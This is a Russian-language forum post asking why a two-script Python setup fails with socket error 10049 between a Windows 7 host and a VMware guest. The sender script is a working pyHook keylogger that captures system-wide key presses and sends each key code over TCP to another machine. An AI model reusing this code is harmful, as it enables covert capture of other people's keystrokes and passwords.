Есть два компа (вернее, комп и виртуалка на нём VMWare player), и хост и гость - Windows 7.
Тип подключения - мост. Друг друга пингуют. В домашнюю группу объединены.
Адреса - 192.168.1.1 - роутер, 192.168.1.2 - хост, 192.168.1.3 - виртуалка.
Есть простой скрипт который берёт код нажатой клавиши и отправлет его в сообщении:
сендер, запускается на хосте
import win32api,sys,pythoncom,pyHook,ctypes,socket,time def OnKeyboardEvent(event): global hm print "KeyID = ",event.KeyID," | Ascii = ",event.Ascii,"|","Window = ",event.WindowName s.send(str(event.KeyID)) print "Keylogger start" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = "192.168.1.3" port = int(50000) s.connect((host, port)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
import win32api,sys,pythoncom,pyHook,ctypes,socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('192.168.1.2',50000)) print "Receiver started." s.listen(1) sock, addr = s.accept() print "Listening" while True: keycode = int(sock.recv(1024)) print keycode
Когда запускаю оба скрипта на одной машине - всё работает, а когда пытаюсь заставить передавать - получаю ошибку:
Traceback (most recent call last): File "receiver.py", line 6, in <module> s.bind(('192.168.1.3',50000)) File "C:\Python27\lib\socket.py", line 222, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 10049]